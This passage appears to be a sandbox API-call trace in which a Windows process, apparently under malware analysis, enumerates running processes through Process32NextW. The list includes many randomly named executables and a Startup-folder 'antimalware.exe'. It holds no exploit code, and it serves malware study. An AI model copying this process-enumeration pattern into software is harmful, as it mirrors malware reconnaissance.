	[0035.921] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0035.922] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0035.922] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.922] lstrlenW (lpString="svchost.exe") returned 11
	[0035.922] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0035.923] lstrlenW (lpString="dwm.exe") returned 7
	[0035.923] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.924] lstrlenW (lpString="svchost.exe") returned 11
	[0035.924] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.924] lstrlenW (lpString="svchost.exe") returned 11
	[0035.924] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.925] lstrlenW (lpString="svchost.exe") returned 11
	[0035.925] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.925] lstrlenW (lpString="svchost.exe") returned 11
	[0035.926] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0035.926] lstrlenW (lpString="svchost.exe") returned 11
	[0035.926] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.060] lstrlenW (lpString="svchost.exe") returned 11
	[0036.060] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.060] lstrlenW (lpString="svchost.exe") returned 11
	[0036.060] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.061] lstrlenW (lpString="svchost.exe") returned 11
	[0036.061] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.061] lstrlenW (lpString="svchost.exe") returned 11
	[0036.061] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0036.062] lstrlenW (lpString="spoolsv.exe") returned 11
	[0036.062] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.063] lstrlenW (lpString="svchost.exe") returned 11
	[0036.063] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.063] lstrlenW (lpString="svchost.exe") returned 11
	[0036.063] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0036.064] lstrlenW (lpString="audiodg.exe") returned 11
	[0036.064] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0036.064] lstrlenW (lpString="sihost.exe") returned 10
	[0036.064] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0036.065] lstrlenW (lpString="svchost.exe") returned 11
	[0036.065] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0036.065] lstrlenW (lpString="taskhostw.exe") returned 13
	[0036.065] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0036.066] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0036.066] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0036.067] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0036.067] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0036.078] lstrlenW (lpString="explorer.exe") returned 12
	[0036.078] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0036.079] lstrlenW (lpString="Memory Compression") returned 18
	[0036.079] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0036.080] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0036.080] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0036.080] lstrlenW (lpString="SearchUI.exe") returned 12
	[0036.080] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0036.081] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0036.081] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0036.082] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0036.082] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0036.083] lstrlenW (lpString="taskhostw.exe") returned 13
	[0036.083] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0036.084] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0036.084] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0036.085] lstrlenW (lpString="UsoClient.exe") returned 13
	[0036.085] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0036.086] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0036.086] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0036.086] lstrlenW (lpString="taskhostw.exe") returned 13
	[0036.086] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0036.087] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0036.087] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0036.087] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0036.088] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0036.088] lstrlenW (lpString="msoia.exe") returned 9
	[0036.088] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0036.089] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0036.089] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0036.089] lstrlenW (lpString="msoia.exe") returned 9
	[0036.089] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0036.090] lstrlenW (lpString="roof.exe") returned 8
	[0036.090] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0036.090] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0036.090] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0036.091] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0036.091] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0036.092] lstrlenW (lpString="cause.exe") returned 9
	[0036.092] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0036.092] lstrlenW (lpString="occasionstax.exe") returned 16
	[0036.092] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0036.093] lstrlenW (lpString="distributors.exe") returned 16
	[0036.093] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0036.093] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0036.093] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0036.094] lstrlenW (lpString="rand.exe") returned 8
	[0036.094] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0036.094] lstrlenW (lpString="unlikely.exe") returned 12
	[0036.095] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0036.095] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0036.095] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0036.096] lstrlenW (lpString="promotion.exe") returned 13
	[0036.096] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0036.096] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0036.097] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0036.097] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0036.097] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0036.098] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0036.098] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0036.099] lstrlenW (lpString="bad-length.exe") returned 14
	[0036.099] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0036.099] lstrlenW (lpString="unit.exe") returned 8
	[0036.099] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0036.100] lstrlenW (lpString="parents.exe") returned 11
	[0036.100] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0036.100] lstrlenW (lpString="charge.exe") returned 10
	[0036.100] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0036.101] lstrlenW (lpString="measures-provision.exe") returned 22
	[0036.101] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0036.102] lstrlenW (lpString="dllhost.exe") returned 11
	[0036.102] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0036.102] lstrlenW (lpString="conhost.exe") returned 11
	[0036.102] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0036.103] lstrlenW (lpString="conhost.exe") returned 11
	[0036.103] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0036.104] lstrlenW (lpString="dllhost.exe") returned 11
	[0036.104] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0036.104] lstrlenW (lpString="dllhost.exe") returned 11
	[0036.104] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0036.105] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0036.105] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0
	[0036.105] CloseHandle (hObject=0x240) returned 1
	[0036.105] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66b380 | out: hHeap=0x650000) returned 1
	[0036.105] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66b650 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665b60 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665b00 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x666c68 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x694cd0 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665b20 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665820 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa80 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f9b8 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6659c0 | out: hHeap=0x650000) returned 1
	[0036.106] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f800 | out: hHeap=0x650000) returned 1
	[0036.106] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x696ea8
	[0036.106] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6a6eb0
	[0036.106] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0036.106] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694cd0, Size=0x20) returned 0x68f760
	[0036.106] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f760, Size=0x40) returned 0x66b260
	[0036.106] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0036.106] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694cd0, Size=0x20) returned 0x68f9b8
	[0036.106] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694c88
	[0036.106] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694c88, Size=0x20) returned 0x68f918
	[0036.106] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694c88
	[0036.106] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694c88, Size=0x20) returned 0x68f8c8
	[0036.107] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f8c8, Size=0x40) returned 0x66b380
